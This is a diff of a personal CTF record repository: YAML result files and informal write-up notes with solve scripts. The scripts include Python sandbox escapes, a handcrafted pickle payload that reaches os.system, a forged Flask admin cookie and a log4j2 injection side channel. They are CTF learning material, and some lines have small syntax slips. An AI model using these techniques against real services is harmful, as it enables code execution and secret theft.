Page MenuHomedesp's stash

No OneTemporary

diff --git a/ctfs/bsidessf22.yml b/ctfs/bsidessf22.yml
index 5ca433b..87f39c7 100644
--- a/ctfs/bsidessf22.yml
+++ b/ctfs/bsidessf22.yml
@@ -1,77 +1,77 @@
#refer to hkcert21.yml for definitions
name: "BSidesSF 2022 CTF"
url: https://ctftime.org/event/1666
date: 2022-06-03
duration: 48
type: "Jeopardy"
organizer: false
rank: 4
full-clear: false
team: "Maple Bacon"
challenges:
- name: "Codetalker"
category: misc
points: "?"
solve-count: "?"
solve-status: solved
writeup-url: null
first-blood: true
- name: "Monstera"
category: rev
points: "?"
solve-count: "?"
solve-status: co-solved
writeup-url: null
- name: "Shorai"
category: rev
points: "?"
solve-count: "?"
- solve-status: co-solved
+ solve-status: solved
writeup-url: null
- name: "Loadit 1-3"
category: rev
points: "?"
solve-count: "?"
solve-status: solved
writeup-url: null
- name: "Shurdle 1-3"
category: pwn
points: "?"
solve-count: "?"
solve-status: solved
writeup-url: null
- name: "0x41414141"
category: pwn
points: "?"
solve-count: "?"
solve-status: solved
writeup-url: null
- name: "Arboretum"
category: rev
points: "?"
solve-count: "?"
solve-status: solved
writeup-url: null
- name: "Dual-type Multi-format"
category: misc
points: "?"
solve-count: "?"
solve-status: co-solved
writeup-url: null
- name: "Pwncaps 1-2"
category: forensics, pwn
points: "?"
solve-count: "?"
solve-status: solved
writeup-url: null
- name: "Loca"
category: rev
points: "?"
solve-count: "?"
solve-status: solved
writeup-url: null
\ No newline at end of file
diff --git a/ctfs/comments/gdgalgiers22.md b/ctfs/comments/gdgalgiers22.md
index 5e72fcf..6e9acd5 100644
--- a/ctfs/comments/gdgalgiers22.md
+++ b/ctfs/comments/gdgalgiers22.md
@@ -1,519 +1,519 @@
### exorcist
originally [@Ray](https://maplebacon.org/authors/Ray/) worked on it but he couldnt get pwntools working on his machine so he got me to run it
but it doesnt work anyways and requires "bruteforcing" which i was like we should be able solve it with one req only and thats when i started getting interested in this chall
and then we went on a huge detour trying to figure out why the length is always changing
got so fed up that we went back home mid solving even tho this is a beginner chall lmfao
eventually after clearing my mind by going home i did end up solving it after i used ord the right way lmfao unicode variable length moment
using a really long message we can guarantee we get enough chunks to do a rotation key test based on the flag prefix and some guess work
`CyberErudites{Y0u_kn0w_h0w_T0_XOR}`
```py
from pwn import *
io = remote()'crypto.chal.ctf.gdgalgiers.com', 1002)
io.sendline(b"a"*60)
io.recvuntil(b">> > ")
cipher = io.recvuntil("\n").decode()
print(cipher)
output = [ord(i) for i in bytes.fromhex(cipher).decode('utf-8')]
print(output)
# print(bytes([o^v for o, v in zip(output, b"CyberErudites{")]))
# output = cipher.encode()
for i in range(len(output)):
op = output[-i:] + output[:-i]
print(len(op))
key = bytes([o^v for o, v in zip(op, b"CyberErudites{Y0u_kn0w_h0w_T"*10)])[:16]
print(len(key))
x = bytes([o^v for o, v in zip(op, key*10)])
print(len(x))
print(i)
print(x)
```
### type it
got stuck on validator and kevin higgs and py explorer and new chall came out so i tried solving this
lmfao literally was just unbalanced parentheses like sqli
`())(flag)#` gives `CyberErudites{wh0_N3Ed$_bR4CkeTS}` easily
(`type(flag)(flag)` creates string copying the contents of flag and the # comments out the unbalanced parentheses)
my original payload was `())((flag)` though - `type(())((flag))` gives a tuple created from iterating flag which we can easily convert back to the flag
used this since its basically just brackets lmao
### type it 2
unbalanced parentheses is fixed now, so no more funny shennanigans
most symbols are disallowed too so escape sequences arent easy to create
worse is coz of this we have nothing more than the return type to go off of
but hey in these cases why dont we side channel it like googlectf's log4j2?
we cant use square brackets or basically most things outside of function calls so thats annoying
but from poking around we can create tuples of ints after encoding the flag that have the `.count()` method and we can use the `or None` trick to leak whether the character exists at all
but that means we'd have to play word unscramble lmao no thanks
(and it turns out the flag has multiple same characters pretty frequently too sooo not enough information)
tried to do character by character brute force by popping stuff, but tuples are immutable and creating dicts and lists are all banned
eventually i realized i can obtain list types from `type.mro(<anything>)`, which means we can create lists but appending it is still not really possible since theres no curried function that we can chain to add to a list and `,` is also banned
but `+` aint banned so we can actually create multiple tuples/lists and then chain them together
but now the question comes the constructors for list/tuples need to be iterables and we cant make iterables in the first place thats the headache here
hold on we can make generators though if we skip all the spaces using brackets as delimiters
and if we can make it return arbitrary values of our choice we can just use it
turns out `((121)for(i)in(flag.encode())if(i)is(123))` is the prime way once we know which chars will only appear once (the curly brackets)
now we can just use `startswith` after converting flag to bytes and building a bytes object using the list we created (has to be bytes coz we cant use chr or quotes at all)
and ey we can side channel the flag consistently now by checking whether it returned bool or NoneType
```py
from pwn import *
import string
p = remote("jail.chal.ctf.gdgalgiers.com", 1304)
#p = process(['python3.10', 'jail.py'])
chars = []
"""
(flag.encode().startswith(
type(flag.encode())( #bytes class
type(type.mro(type))( #list class
(type(())( #create tuple from generator
((67) for (i) in (flag.encode()) if (i) is (123))) #generator; 123 is {, which is likely guaranteed to only show up once; brackets help eliminate space use
)
+(type(())(
((121) for (i) in (flag.encode()) if (i) is (123))) #the value assigned is for generating the characters
)
)
)
)) or (None) #show visible hint on whether its true or false, since type only show class names so we need to change it on false
"""
flag = "CyberErudites{"
payloadprefix = "(flag.encode().startswith(type(flag.encode())(type(type.mro(type))("
payloadsuffix = "))))or(None)"
while "}" not in flag:
for i in string.printable:
check = "+".join(["(type(())(((" + str(ord(c)) + ")for(i)in(flag.encode())if(i)is(123))))" for c in flag + i])
p.recvuntil("Input : ")
p.sendline(payloadprefix + check + payloadsuffix)
p.recvuntil("<class '")
resp = p.recvuntil(">")
if b'bool' in resp:
flag += i
print(flag)
```
`CyberErudites{ERRRROR_B4$E3_FTW!!!!}` what bases based on what :upside_down:
also i nearly popped a shell lol after realizing we can access globals with generator objects kekw
`((i.exec(i.input()))for(i)in(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals.values())if(not((type(i))is(type("test")))and(not((type(i))is(type(None)))and(not((type(i))is(type(type(None)))))and(not((type(i))is(type(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals))))))).send(None)` works flawlessly since it filters out everything except the `__builtins__` module
but alas it doesnt just filter internal functions but also everything with a underscore i forgot about that
### impossible challenge
sure its "impossible" if you run it coz rand basically never clashes thrice in a row
but the check is literally there lol and its an array with a simple xor key of `69` ~~haha nice~~
`CyberErudites{$eE_nOthING_I$_1mpo$$iBle}` shouldve left it for the new ppl in the team ngl
or at least try to do it the fun way with patching and dynamic debugging lmao
```py
v11 = [0]*40
v11[0] = 6;
v11[1] = 60;
v11[2] = 39;
v11[3] = 32;
v11[4] = 55;
v11[5] = 0;
v11[6] = 55;
v11[7] = 48;
v11[8] = 33;
v11[9] = 44;
v11[10] = 49;
v11[11] = 32;
v11[12] = 54;
v11[13] = 62;
v11[14] = 97;
v11[15] = 32;
v11[16] = 0;
v11[17] = 26;
v11[18] = 43;
v11[19] = 10;
v11[20] = 49;
v11[21] = 45;
v11[22] = 12;
v11[23] = 11;
v11[24] = 2;
v11[25] = 26;
v11[26] = 12;
v11[27] = 97;
v11[28] = 26;
v11[29] = 116;
v11[30] = 40;
v11[31] = 53;
v11[32] = 42;
v11[33] = 97;
v11[34] = 97;
v11[35] = 44;
v11[36] = 7;
v11[37] = 41;
v11[38] = 32;
v11[39] = 56;
print(bytes([69 ^ i for i in v11]))
```
### venomous
wondered for a bit what even is the privileged thing we gotta run coz theres no suid'd bins but then i saw `script.sh` is whitelisted in sudoers
i then originally tried editing `echo.py` but it doesnt seem to work, and i eventually realized `script.sh` overwrites it later on
`PYTHONINSPECT=1` also didnt work coz sudo clears env
and `sitecustomize.py` doesnt work coz `ctf-cracked` does not have a home dir and global `site-packages` aint modifiable
wanted to break the script so it sets our script to root rwx but that kinda doesnt matter coz we dont get elevated perms running root owned files anyway and the unicode bug got fixed
wouldve been cool if it was related tho https://bugs.python.org/issue35883
after a while of poking turns out its just trick python into loading echo as a directory named `echo` with `__init__.py` instead of `echo.py`
`CyberErudites{NothInG_L1K3_pOIs0n1nG_The_sn4Ke}`
### venomous 2
pretty sure the chall is broken coz i used the exact same payload as venomous 1 and got the flag lol
the `find -maxdepth 1 -delete` command doesnt seem to be working well for some reason
not complaining tho still a flag `CyberErudites{PTiv2BGsB13XBRZRKm5IrMyfXBkJcxBt}`
i wonder if the intended solution is related to zip files
### validator
originally other ppl worked on it and figured out you can do format string injection with SchemaError
and our goal is to leak the secret and encode our own session cookie into it to access the `/flag` endpoint
so it basically ended up being a pyjail and thats where i come into play
got insanely stuck though coz i couldnt think of a way to get globals without being able to call funcs like `__subclasses__()` or assign values like `sys.stdout.flush = breakpoint`
got some inspiration after poking at py explorer for a bit
so i thought back to why some `__init__` has `__globals__` and i remembered something edward brought up
if a class is custom made then its methods that is custom defined would have `__globals__` (what i understood is as long as its not a builtin method or a slot wrapper etc) then we have `__globals__`
with that i tried seeing if MyDict's `__setattr__`/`__getattr__` has `__globals__` and bruh sure enough there it is
we were literally there lmao i just distracted everyone by thinking of `__subclasses__()`
but now the problem comes - if we provide an invalid field name to the schema the data being formatted is a string for some reason
and if we give an invalid field type we get BOTH the MyDict object and the wrong field object and the wrong field object is always a python builtin data type which doesnt have `__globals__` so it errors out regardless
after poking around a bit again i realized an empty MyDict `{}` triggers `SchemaMissingKeyException` and that literally just gives MyDict only
eyyyyyy there we go `{0.__class__.__getattr__.__globals__[app].secret_key}` with `{}` and any field name + type yields us the secret key `3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy`
which we can just grab some flask cookie encode script online like https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe and set isAdmin to true then visit `/flag`
and we get the flag ey `CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}`
```py
import requests
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
# Override method
# Take secret_key instead of an instance of a Flask app
def get_signing_serializer(self, secret_key):
if not secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
def decodeFlaskCookie(secret_key, cookieValue):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.loads(cookieValue)
# Keep in mind that flask uses unicode strings for the
# dictionary keys
def encodeFlaskCookie(secret_key, cookieDict):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.dumps(cookieDict)
secret_key = '3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy'
print(requests.get('http://validator.chal.ctf.gdgalgiers.com/flag', cookies={'session':encodeFlaskCookie(secret_key, {'isAdmin':True})}).content)
```
### garbage truck
- literally no src and it just prints `empty garbage truck` for like most of the time
- other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao
- the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this`
- after trying to map out whats banned i realized i can `breakpoint()`
- which means i can literally escape to host now ey
- but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist
-- i also cant do `sh` for soem reason i can only run commands from `os.system()`
+- i also cant do `sh` for some reason i can only run commands from `os.system()`
- pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about
- but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop
- tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason
- also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now
- then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still
- and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]`
- `CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}`
### kevin higgs the revenge
my angstrom payload almost works if you remove the frame opcode
but setattr got banned lol so my persistence mechanism is no more sadge
and i cannot for the life of me think of how to persist otherwise with the restraints so i gave up for a bit
after the success of validator i set out to ~~right my wrongs~~ i mean to redeem myself by solving all 3 challs i was looking at at the maple bacon meeting
so its time to come back to this chall
i started out by clearing my mind off angstrom's mess of a solve script and tried to build the angstrom pickle from scratch using [@Robert](https://maplebacon.org/authors/Nneonneo/)'s helper funcs he sent while we were doing dice @ hope with MMM
and wow in the meantime i really learnt a ton on how the pickle stack machine actually works
so i tried to figure out whether theres opcodes like build that [@Robert](https://maplebacon.org/authors/Nneonneo/) mentioned back then too but no all of the opcodes that interact with python is banned aside from reduce and global/stackglobal
but then while poking around i remembered i actually have one more layer of depth i can go for the setattr thing
and i realized `empty.__dict__` exists
so we just need a method to accept a value and we are gold
update doesnt really work coz `DICT` opcode is banned but `setdefault` works well (turns out i used it in maplectf ubc/saplingctf too but i forgot lol)
so with that we can just recreate the angstrom pickle this time in much more structured form that i actually understand well lmao
adding the "bruteforcing index" script from dice @ hope to find `os.wrap_close`'s index we get the script
```py
from pwn import *
from pickle import *
import struct
def flatten(x, res=None):
if res is None:
res = bytearray()
if isinstance(x, bytes):
res += x
elif isinstance(x, list) or isinstance(x, tuple):
for r in x:
flatten(r, res)
else:
print("WRONG TYPE FOR", x)
return res
def put(x):
return [BINPUT, struct.pack('<B', x)]
def get(x):
return [BINGET, struct.pack('<B', x)]
def pint(x):
return [BININT, struct.pack("<I", x)]
def getglobal(fqn):
module, name = fqn.split(".", 1)
return [GLOBAL, module.encode('utf8'), b'\n', name.encode('utf8'), b'\n']
def pstr(x):
x = x.encode('utf-8', 'surrogatepass')
return [BINUNICODE, struct.pack('<I', len(x)), x]
def pdict(*x):
return [MARK, x, DICT]
def ptuple(*x):
return [MARK, x, TUPLE]
def plist(*x):
return [MARK, x, LIST]
attr = ord('a') #automatic tracking of attribute names; start at initialization then iterate up on ascii value
def next(func, args=None):
global attr
attr += 1
return [BINGET, b'\0', #reuse setdefault since we memoized it
ptuple(
pstr(chr(attr)), #setdefault can only be used once effectively, so we need a different attribute name
getglobal('empty.' + chr(attr-1) + '.' + func), #get the next obj to work with
[ptuple(args), #optional - empty is fine
REDUCE] if args != None else [], #only functions have the extra reduce step; attributes dont - assume if args exist then it is a function
),
REDUCE, #and persist the object to the current attribute
POP]
#__class__.__base__.__subclasses__()[117].__init__.__globals__["system"]("ls -la")
#generate pickle based on provided index for os.wrap_close
def pkl(index):
global attr
attr = ord('a') #reset attr to initial attribute
p = [PROTO, b'\x05',
#get empty.__dict__.setdefault for setdefault(key, value) persistence
#we dont use update() since that requires a dict and DICT opcode is banned
getglobal("empty.__dict__.setdefault"),
MEMOIZE,
#empty.__class__.__base__
ptuple(
#key
pstr('a'),
#value
getglobal("empty.__class__.__base__")
),
#run empty.__dict__.setdefault('a', <class object> obtained from STACK_GLOBAL)
REDUCE,
POP, #discard the returned object we dont need it
#.__subclasses__()
next('__subclasses__', args=[]),
#.__getitem__(117)
next('__getitem__', args=pint(index)),
#.__init__
next('__init__'),
#.__globals__
next('__globals__'),
#.__getitem__('system')
next('__getitem__', args=pstr('system')),
#('sh')
getglobal('empty.' + chr(attr)), #finally grab f (current attribute storing the object) and call it
ptuple(
pstr('cat flag.txt'), #seems like its running busybox again #nvm tty is dead cant use ash anyway b"ash: can't access tty; job control turned off\n"
),
REDUCE,
STOP]
return flatten(p).hex()
for i in [138]: #range(130, 140): #get around 134 and see if any looks like it got a shell
s = remote('jail.chal.ctf.gdgalgiers.com', 1300)
#s = process(['python3.10', 'challenge.py'])
s.recvuntil('Enter')
payload = pkl(i)
print(payload)
print(i)
s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc
resp = s.recvall(timeout=1)
if b'AttributeError' not in resp:
s.interactive()
else:
s.close()
```
and with this we can easily get the flag (after getting confused on why the shell aint popping which turns out to be them using busybox just like garbage truck but also disabling tty this time lol)
`CyberErudites{wOw_L3T$_CR0wn_THe_nEw_pIcKle_Ch4MP1On}`
really happy now that i understand exactly how my solve for kevin higgs work lmaooo
when i solved kevin higgs it was more of a trial and error until oh wow it works thing lmao
~~kinda like how i do dynamic analysis for rev challs tbh except i am reving my own script lmfao~~
### PY explorer
this chall had by far the least solves so i thought i prob wasnt on the right track when i thought about `sys.stdout.flush = breakpoint` and then realizing i cant find a func thats run either on exit or automatically periodically outside of sys which is not an imported module
coz everything like `object.__del__` (cannot modify builtin methods) to ExitStack callbacks (doesnt call unless we set it on an object) to atexit (not imported) to even `weakrefs.finalize` which HAS atexit that works even though i need to put the func in the constructor with an object (eg `object.__subclasses__()[270](object, breakpoint)`) and it doesnt seem to pop up unless im in interactive and even then it only pops up randomly anyway (turns out i also cant do sth like `object.__subclasses__()[270]._registry.keys().__iter__().__next__()._exitfunc = breakpoint` either coz exitfunc is readonly)
not to mention we need to access builtins functions to get breakpoint too (but theres a lot of funcs with `__globals__` in `__init__` it turns out)
but after solving kevin higgs v2 it reminds me i can use `os.wrap_close` here still
so i got `object.__subclasses__([137].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` which is like 1/2 done (`__init__.__self__` is needed since PY explorer doesnt allow you to select from a dict twice in a row coz it has to be after choosing an attribute; i learnt that trick while investigating validator iirc)
then after looking up some more writeups on pyjails i realized ppl are finding `system()` in `__globals__` not `__builtins__`
which suddenly reminded me i swear i saw sys somewhere when i was getting the breakpoint func
turns out `os.wrap_close` has both `sys` and `__builtins__` lmao bruh i completely forgot
welp with selecting both object in the ui like this to do `object.__subclasses__()[134].__init__.__globals__['sys'].stdout.flush = object.__subclasses__([134].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` we can get pdb running right after we finish selecting the objects
even though we have to blindly type in coz stdout flush wont work anymore lol
i thought it was broken until i typed `interact` and `*interactive*` popped out probably from stderr
so i just `import os; os.system('sh')` to drop into a shell with working flush ey
with that we can just `cat flag` and get the flag `CyberErudites{PY_0bj3cT7SS_AR3_MIN3}`
i was on the right track all along lmaoo
with that we've became jail bacon :sunglasses: full clearing is just that easy only took me like 19 hours yep
\ No newline at end of file
diff --git a/ctfs/comments/googlectf22.md b/ctfs/comments/googlectf22.md
index da6184a..8362074 100644
--- a/ctfs/comments/googlectf22.md
+++ b/ctfs/comments/googlectf22.md
@@ -1,64 +1,86 @@
### log4j2
building upon the log4j solution and some prelim investigation by other teammates, i set of reading a lot of documentation on lookups and pattern layout specifiers to see if anything is useful
since they practically just slapped a filter on logs and stuff, i wondered what exactly they were checking
and `/repeat` works like a charm on letting me test certain keywords that might hit the filter - it would say sensitive info whenever i hit a keyword
i figured out its "ERROR", "WARNING", "Exception" and "CTF", but even these few words basically disabled us from using the same method as the old solution which was to break formatter to print exceptions `text=/[${date:yyyyMMdd.${env:FLAG}HHmmSS}]` - even if we can hide CTF using some transformers like `%replace` and `${lower:}`, we wont be able to hide the "ERROR" or "Exception" keywords since those are directly from the pattern parser (`%xEx` and `%throwable` both doesnt do anything)
so i turned to trying to see if i can leak parts of the flag out but the only way i can tell is to hide details inside the stacktraces which are blocked
but then i remembered the influxql chall from wectf that me and angus solved where angus found a way to side channel it
and i see `%equals` being a thing in the specifiers
so the only thing i need to do is to trigger a warning or an error only when my guessed flag matches - `%equals{${env:FLAG}}{<guess>}{<something that triggers a warning only when run>}`
however theres not really a good canadidate that throws a parser error only when run - `%d` like in the old solution always fail even if `%equals` is not matched
but it fails twice if it matches, which is a good sign that there might be better specifiers out there - and indeed if i do `%C{<anything>}` i get a warning thats censored only if my guess equals - thus the payload is now `%equals{${env:FLAG}}{<guess>}{%C{a}}`
but i have to find a way to guess character by character to save time - this is where `%maxLen` comes into play so i can get the first x chars only, and the payload becomes `%equals{%maxLen{${env:FLAG}}{<len of guess>}}{<guess>}{%C{a}}`
with that we can write a script to leak the first 3 chars, and they are indeed `CTF` - but then i run into a problem of `{}` being special chars for lookups so i need to escape it somehow
`%equals` doesnt look like it has a way to escape, so i had to introduce `%replace` as mentioned [here](https://stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution)
with `/%equals{%replace{%maxLen{${env:FLAG}}{<len of guess>}}{[\{\}]}{=}}{<guess>}{%C{a}}`, we can finally leak the flag, which looks like lowercase letters - until it hangs at 21st character
turns out `%maxLen` appends `...` if it exceeds 20 chars, and just padding the dots into the flag doesnt seem to fix anything, so i had to also replace the dots to equal signs just like the curly brackets
and finally with `/%equals{%replace{%maxLen{${env:FLAG}}{<len of guess>}}{[\{\}.]}{=}}{<guess + padding as needed>}{%C{a}}`
we can get the script that generates the flag:
```py
import requests
import string
flag = 'CTF='
while True:
for c in string.ascii_lowercase + '-=':
#if c in '}{ ': #for string.printable since these instantly breaks parser
# continue
pad = '===' if len(flag)+1>20 else '' #thanks %maxLen for the weird behaviour
payload = r"/%equals{%replace{%maxLen{${env:FLAG}}{" + str(len(flag)+1) + r"}}{[\{\}.]}{=}}{" + flag + c + pad + r"}{%C{a}}"
print(payload)
r = requests.post('https://log4j2-web.2022.ctfcompetition.com/', data={"text":payload})
print(r.content)
if b'Sensitive' in r.content:
flag += c
print('current', flag)
break
if flag.endswith('===='):
break
```
+and here's the breakdown of the payload:
+
+```
+%equals{
+ %replace{
+ %maxLen{
+ ${env:FLAG} #retrieve original flag
+ }{
+ 4 #flag length to check - must match the check length since theres no startWith in log4j so we have to truncate
+ }
+ }{
+ [\{\}.] #find all { }s in flag, along with the elipsis
+ }{
+ = #replace with placeholder - see flag to check for more info
+ }
+}{
+ CTF= #flag to check - note that = is in place of { since curly brackets escaping is not a thing in %equals it looks like
+}{
+ %C{a} #this triggers a warning only if it hits, aka it wont show WARNING if equals never matched - i originally used %d, but the format evaluates regardless whether it hit or not (hitting will show 2 warnings instead of 1 which doesnt help)
+}
+```
+
`CTF{and-you-thought-it-was-over-didnt-you}`
for some reason the ending bracket never got hit though, so the endswith clause never ran
but hey flag is flag ey
diff --git a/ctfs/comments/squarectf22.md b/ctfs/comments/squarectf22.md
index ad9c1b8..15b87ab 100644
--- a/ctfs/comments/squarectf22.md
+++ b/ctfs/comments/squarectf22.md
@@ -1,179 +1,179 @@
### yet another reversing activity
imhex op
-`flag.yarc` is basically a compiled yara rule, which https://bnbdr.github.io/posts/swisscheese/ actually details the format pretty well as apart of a vuln writeup - but too bad this version is very outdated and a lot of the things changed already
+`flag.yarc` is basically a compiled yara rule, which https://bnbdr.github.io/posts/swisscheese/ actually details the format pretty well as a part of a vuln writeup - but too bad this version is very outdated and a lot of the things changed already
so into yara's repo we go https://github.com/VirusTotal/yara/blob/666d5a4fd61df57d261d387676f7bd98544337a3/libyara/arena.c
now since we dont have this current format laid out by ppl for us to understand we would have to basically map the parser type definitions to something that we can visualize
and whats better than writing an hex pattern template
turns out imhex is actually insanely flexible LOL i finally have a reason to drop 010 editor now
```c
#define uint8_t u8
#define uint16_t u16
#define uint32_t u32
#define uint64_t u64
#define yr_arena_off_t u32
#include <std/io.pat>
struct YR_ARENA_FILE_HEADER
{
char magic[4];
uint8_t version;
uint8_t num_buffers;
};
struct YR_ARENA_FILE_BUFFER
{
uint64_t offset;
uint32_t size;
char arena[size] @ offset;
};
struct YR_ARENA_REF
{
uint32_t buffer_id;
yr_arena_off_t offset;
};
YR_ARENA_FILE_HEADER header @ 0x00;
YR_ARENA_FILE_BUFFER buffers[header.num_buffers] @ 0x06;
u32 size;
for(u8 i = 0, i < header.num_buffers, i+=1) {
size = size + sizeof(YR_ARENA_REF) + buffers[i].size;
};
YR_ARENA_REF reloc[header.num_buffers] @ size;
```
while [@Arctic](https://maplebacon.org/authors/rctcwyvrn/) was busy updating the opcodes from https://github.com/bnbdr/swisscheese/blob/master/assembler.py i was doing what i do the best again: pattern identification
none of the arenas seem to have anything special, aside from one that looks suspiciously orderly as if its a flag checker, which with some formatting we can lay it out like this:
```text
00 F0 3C
5F 3C
39 07 64 2F 0F 00 00 00 3C
01 F0 3C
33 3C
5F 07 64 01 2F 0F 00 00 00 3C
02 F0 3C
F8 3C
99 07 64 01 2F 0F 00 00 00 3C
03 F0 3C
53 3C
34 07 64 01 2F 0F 00 00 00 3C
04 F0 3C
F8 3C
83 07 64 01 2F 0F 00 00 00 3C
05 F0 3C
9A 3C
F7 07 64 01 2F 0F 00 00 00 3C
06 F0 3C
DD 3C
EE 07 64 01 2F 0F 00 00 00 3C
07 F0 3C
5C 3C
6F 07 64 01 2F 0F 00 00 00 3C
08 F0 3C
F9 3C
8D 07 64 01 2F 0F 00 00 00 3C
09 F0 3C
F9 3C
A6 07 64 01 2F 0F 00 00 00 3C
0A F0 3C
C8 3C
A5 07 64 01 2F 0F 00 00 00 3C
0B F0 3C
80 3C
E5 07 64 01 2F 0F 00 00 00 3C
0C F0 3C
86 3C
D9 07 64 01 2F 0F 00 00 00 3C
0D F0 3C
0D 3C
3C 07 64 01 2F 0F 00 00 00 3C
0E F0 3C
65 3C
0B 07 64 01 2F 0F 00 00 00 3C
0F F0 3C
77 3C
28 07 64 01 2F 0F 00 00 00 3C
10 F0 3C
8F 3C
B8 07 64 01 2F 0F 00 00 00 3C
11 F0 3C
80 3C
E8 07 64 01 2F 0F 00 00 00 3C
12 F0 3C
AA 3C
99 07 64 01 2F 0F 00 00 00 3C
13 F0 3C
28 3C
77 07 64 01 2F 0F 00 00 00 3C
14 F0 3C
69 3C
08 07 64 01 2F 0F 00 00 00 3C
15 F0 3C
56 3C
24 07 64 01 2F 0F 00 00 00 3C
16 F0 3C
A1 3C
92 07 64 01 2F 0F 00 00 00 3C
17 F0 3C
2A 3C
44 07 64 01 2F 0F 00 00 00 3C
18 F0 3C
EC 3C
D8 07 64 01 2F 0F 00 00 00 3C
19 F0 3C
EA 3C
97 07 64 01 1D 00 00 00 00 00 00 00 00 FF
```
and we can see that basically aside from the first byte which is likely a counter, and the 2 bytes in the 2 rows after that byte would change, all other ones are basically static
so i started reading the current opcode map to see what operation might be acting on those 2 specific bytes
and aha `#define OP_BITWISE_XOR 7` so i tried it out
and with
```py
print(bytes([0x5F^0x39, 0x33^0x5F, 0xF8^0x99, 0x53^0x34, 0xF8^0x83, 0x9A^0xF7, 0xDD^0xEE, 0x5C^0x6F, 0xF9^0x8D, 0xF9^0xA6, 0xC8^0xA5, 0x80^0xE5, 0x86^0xD9, 0x0D^0x3C, 0x65^0x0B, 0x77^0x28, 0x8F^0xB8, 0x80^0xE8, 0xAA^0x99, 0x28^0x77, 0x69^0x08, 0x56^0x24, 0xA1^0x92, 0x2A^0x44, 0xEC^0xD8, 0xEA^0x97]))
```
i was correct and we get the flag `flag{m33t_me_1n_7h3_ar3n4}` lmaooo
i love just recognizing patterns instead of reversing
\ No newline at end of file
diff --git a/ctfs/hkcert22.yml b/ctfs/hkcert22.yml
index 69d8123..39b7b00 100644
--- a/ctfs/hkcert22.yml
+++ b/ctfs/hkcert22.yml
@@ -1,78 +1,78 @@
#refer to hkcert21.yml for definitions
name: "HKCERT CTF 2022"
url: https://ctftime.org/event/1722
date: 2022-11-11
duration: 48
type: "Jeopardy"
organizer: false
-rank: '<div class="text-second d-inline">2<sup>nd</sup></div>&nbsp;(Open),&nbsp;<div class="text-third d-inline">3<sup>rd</sup></div>&nbsp;(Overall)'
+rank: '<span class="text-second">2<sup>nd</sup></span>&nbsp;(Open), <span class="text-third">3<sup>rd</sup></span>&nbsp;(Overall)'
full-clear: false
team: '<span class="nav-link p-0" data-toggle="tooltip" title="Black Bauhinia, guest">blackb4a</span>'
challenges:
- name: "沙田大會堂 / Echo"
category: pwn
points: 100 (1★)
solve-count: 20
solve-status: solved
writeup-url: null
- name: "香港大會堂 / Echo2"
category: pwn
points: 150 (2★)
solve-count: 16
solve-status: solved
writeup-url: null
- name: "富榮花園 / C++harming website"
category: rev
points: 350 (4★)
solve-count: 4
solve-status: solved
writeup-url: https://hackmd.io/@despawningbone/BJzmTQ-Lo
writeup-prize: true
first-blood: true
- name: "佐敦谷公園 / Clipboard"
category: forensics
points: 200 (3★)
solve-count: 22
solve-status: solved
writeup-url: null
- name: "九龍灣綜合回收中心 / UAF"
category: pwn
points: 100 (1★)
solve-count: 18
solve-status: solved
writeup-url: null
- name: "何東道 / Stop Peeping"
category: forensics
points: 125 (2★)
solve-count: 21
solve-status: solved
writeup-url: null
- name: "濕地公園 / jumping-fish"
category: rev
points: 250 (3★)
solve-count: 4
solve-status: solved
writeup-url: null
- name: "WEEE·PARK / UAF2"
category: pwn
- points: 200
+ points: 200 (3★)
solve-count: 10
solve-status: solved
writeup-url: null
- name: "城門緩跑徑 / Shellcode Runner 2"
category: pwn
- points: 300
+ points: 300 (3★)
solve-count: 14
solve-status: solved
writeup-url: null
- name: "中間道 / Middle Road"
category: rev, crypto
- points: 350
+ points: 350 (4★)
solve-count: 8
solve-status: co-solved
writeup-url: null
\ No newline at end of file
diff --git a/ctfs/sapling22.yml b/ctfs/sapling22.yml
index 5daa2dd..4bbb979 100644
--- a/ctfs/sapling22.yml
+++ b/ctfs/sapling22.yml
@@ -1,150 +1,150 @@
#refer to hkcert21.yml for definitions
name: "SaplingCTF 2022 (MapleCTF UBC)"
url: null
date: 2022-01-21
duration: 168
type: "Jeopardy"
organizer: false
rank: 1
full-clear: false
team: "N/A (friends)"
challenges:
- name: "plain"
category: rev
points: 50
solve-count: 37
solve-status: solved
writeup-url: null
- name: "keys"
category: rev
points: 50
solve-count: 16
solve-status: solved
writeup-url: null
first-blood: true
- name: "wetuwn addwess"
category: pwn
points: 200
solve-count: 9
solve-status: solved
writeup-url: null
- name: "echowo"
category: pwn
- points: 200
+ points: 75
solve-count: 18
solve-status: solved
